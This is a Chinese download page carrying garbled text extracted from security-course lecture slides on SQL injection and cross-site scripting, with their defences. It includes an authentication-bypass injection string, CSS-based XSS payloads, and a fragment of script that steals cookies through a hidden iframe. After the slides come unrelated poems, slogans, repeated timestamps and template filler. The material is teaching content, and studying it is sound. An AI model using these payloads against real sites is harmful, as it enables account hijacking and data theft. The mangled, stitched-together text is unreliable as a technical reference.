安全攻防實(shí)踐課程-資料下載頁(yè)
2025-01-08 12:55本頁(yè)面
【正文】 ‘1=1 由于密碼的輸入方式，使得查詢語(yǔ)句返回值永遠(yuǎn)為 True，因此通過(guò)驗(yàn)證 SQL注入范例 收集信息 86 and ‘1=1 Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 39。80040e1439。 [Microsoft][ODBC Microsoft Access Driver] 字符串的語(yǔ)法錯(cuò)誤 在查詢表達(dá)式 39。id = 77239。39。 中。 /，行 31 說(shuō)明 : 數(shù)據(jù)庫(kù)為 Access 程序沒(méi)有對(duì)于 id進(jìn)行過(guò)濾 數(shù)據(jù)庫(kù)表中有個(gè)字段名為 id SQL注入范例－操作數(shù)據(jù)庫(kù) 87 SQL注入范例－執(zhí)行系統(tǒng)命令 88 89 SQL注入防御 ? 開(kāi)發(fā)時(shí)過(guò)濾特殊字符 ： ? 單引號(hào)、雙引號(hào)、斜杠、反斜杠、冒號(hào)、空字符等的字符 ?過(guò)濾的對(duì)象 : ? 用戶的輸入 ? 提交的 URL請(qǐng)求中的參數(shù)部分 ? 從 cookie中得到的數(shù)據(jù) ?部署防 SQL注入系統(tǒng)或腳本 跨站腳本 ?定義 ? 跨站腳本（ CSS Cross Site Scripting） ? 在遠(yuǎn)程 Web頁(yè)面的 HTML代碼中插入的具有惡意目的的數(shù)據(jù)，用戶認(rèn)為該頁(yè)面是可信的，但是當(dāng)瀏覽器下載該頁(yè)面時(shí)，嵌入其中的腳本將被解釋執(zhí)行 ?跨站腳本成因 ? CGI程序沒(méi)有對(duì)用戶提交的變量中的 HTML代碼進(jìn)行過(guò)濾或轉(zhuǎn)換。 ? 這種攻擊利用的是用戶和服務(wù)器之間的信任關(guān)系，以及 Web站點(diǎn)沒(méi)有使用有效的輸入輸出驗(yàn)證來(lái)拒絕嵌入的腳本。 90 跨站腳本危害 ?1． 獲取其他用戶 Cookie中的敏感數(shù)據(jù) ?2． 屏蔽頁(yè)面特定信息 ?3． 偽造頁(yè)面信息 ?4． 拒絕服務(wù)攻擊 ?5． 突破外網(wǎng)內(nèi)網(wǎng)不同安全設(shè)置 ?6． 與其它漏洞結(jié)合 ?7． 其它 91 跨站腳本范例 執(zhí)行 Javascript ?有很多種方式可造成 Javascript的執(zhí)行，以下舉例兩種 ?最原始的范例如下： ?第二種方式，利用 expression指令來(lái)造成 javascript執(zhí)行，范例如下： 92 body {backgroundimage: url(javascript:alert(39。XSS39。))。} body {backgroundimage: expression(alert(XSS))。} 跨站腳本危害范例 Cookies竊取 93 Web服務(wù)器 URL 大小為 0的 iframe 將字符編碼傳送 var code。 var target = info=escape()。 target=target+info。 code=iframe style=39。display:none。39。 src=。 code=code+target。 code=code+ width=0 height=0/iframe。 (code)。 跨站腳本危害 竊取 Cookies ?更改 Cookies成功獲取身份 94 小 結(jié) ?腳本攻擊從本質(zhì)上是一種過(guò)濾不足造成的攻擊 ?腳本是不需要編譯的程序代碼，依賴腳本引擎來(lái)解釋執(zhí)行，具有很好的操作系統(tǒng)適應(yīng)性和可移植性 ?如果不可信的內(nèi)容被引入到動(dòng)態(tài)頁(yè)面中，則無(wú)論是網(wǎng)站還是客戶機(jī)都沒(méi)有足夠的信息識(shí)別這種情況的發(fā)生并采取保護(hù)措施 ?腳本攻擊方法主要包括： SQL注入攻擊、命令注入、跨站腳本攻擊等 95 謝謝，請(qǐng)?zhí)釂?wèn)題！ 靜夜四無(wú)鄰，荒居舊業(yè)貧。 , January 24, 2023 雨中黃葉樹(shù)，燈下白頭人。 12:27:5812:27:5812:271/24/2023 12:27:58 PM 1以我獨(dú)沈久，愧君相見(jiàn)頻。 :27:5812:27Jan2324Jan23 1故人江海別，幾度隔山川。 12:27:5812:27:5812:27Tuesday, January 24, 2023 1乍見(jiàn)翻疑夢(mèng)，相悲各問(wèn)年。 :27:5812:27:58January 24, 2023 1他鄉(xiāng)生白發(fā)，舊國(guó)見(jiàn)青山。 2023年 1月 24日星期二 下午 12時(shí) 27分 58秒 12:27: 1比不了得就不比，得不到的就不要。 。 2023年 1月 下午 12時(shí) 27分 :27January 24, 2023 1行動(dòng)出成果，工作出財(cái)富。 2023年 1月 24日星期二 12時(shí) 27分 58秒 12:27:5824 January 2023 1做前，能夠環(huán)視四周；做時(shí)，你只能或者最好沿著以腳為起點(diǎn)的射線向前。 下午 12時(shí) 27分 58秒 下午 12時(shí) 27分 12:27: 沒(méi)有失敗，只有暫時(shí)停止成功！。 , January 24, 2023 很多事情努力了未必有結(jié)果，但是不努力卻什么改變也沒(méi)有。 12:27:5812:27:5812:271/24/2023 12:27:58 PM 1成功就是日復(fù)一日那一點(diǎn)點(diǎn)小小努力的積累。 :27:5812:27Jan2324Jan23 1世間成事，不求其絕對(duì)圓滿，留一份不足，可得無(wú)限完美。 12:27:5812:27:5812:27Tuesday, January 24, 2023 1不知香積寺，數(shù)里入云峰。 :27:5812:27:58January 24, 2023 1意志堅(jiān)強(qiáng)的人能把世界放在手中像泥塊一樣任意揉捏。 2023年 1月 24日星期二 下午 12時(shí) 27分 58秒 12:27: 1楚塞三湘接，荊門(mén)九派通。 。 2023年 1月 下午 12時(shí) 27分 :27January 24, 2023 1少年十五二十時(shí)，步行奪得胡馬騎。 2023年 1月 24日星期二 12時(shí) 27分 58秒 12:27:5824 January 2023 1空山新雨后，天氣晚來(lái)秋。 下午 12時(shí) 27分 58秒 下午 12時(shí) 27分 12:27: 楊柳散和風(fēng)，青山澹吾慮。 , January 24, 2023 閱讀一切好書(shū)如同和過(guò)去最杰出的人談話。 12:27:5812:27:5812:271/24/2023 12:27:58 PM 1越是沒(méi)有本領(lǐng)的就越加自命不凡。 :27:5812:27Jan2324Jan23 1越是無(wú)能的人，越喜歡挑剔別人的錯(cuò)兒。 12:27:5812:27:5812:27Tuesday, January 24, 2023 1知人者智，自知者明。勝人者有力，自勝者強(qiáng)。 :27:5812:27:58January 24, 2023 1意志堅(jiān)強(qiáng)的人能把世界放在手中像泥塊一樣任意揉捏。 2023年 1月 24日星期二 下午 12時(shí) 27分 58秒 12:27: 1最具挑戰(zhàn)性的挑戰(zhàn)莫過(guò)于提升自我。 2023年 1月 下午 12時(shí) 27分 :27January 24, 2023 1業(yè)余生活要有意義，不要越軌。 2023年 1月 24日星期二 12時(shí) 27分 58秒 12:27:5824 January 2023 1一個(gè)人即使已登上頂峰，也仍要自強(qiáng)不息。 下午 12時(shí) 27分 58秒 下午 12時(shí) 27分 12:27: MOMODA POWERPOINT Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce id urna blandit, eleifend nulla ac, fringilla purus. Nulla iaculis tempor felis ut cursus. 感 謝 您 的 下 載 觀 看 專家告訴
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號(hào)-1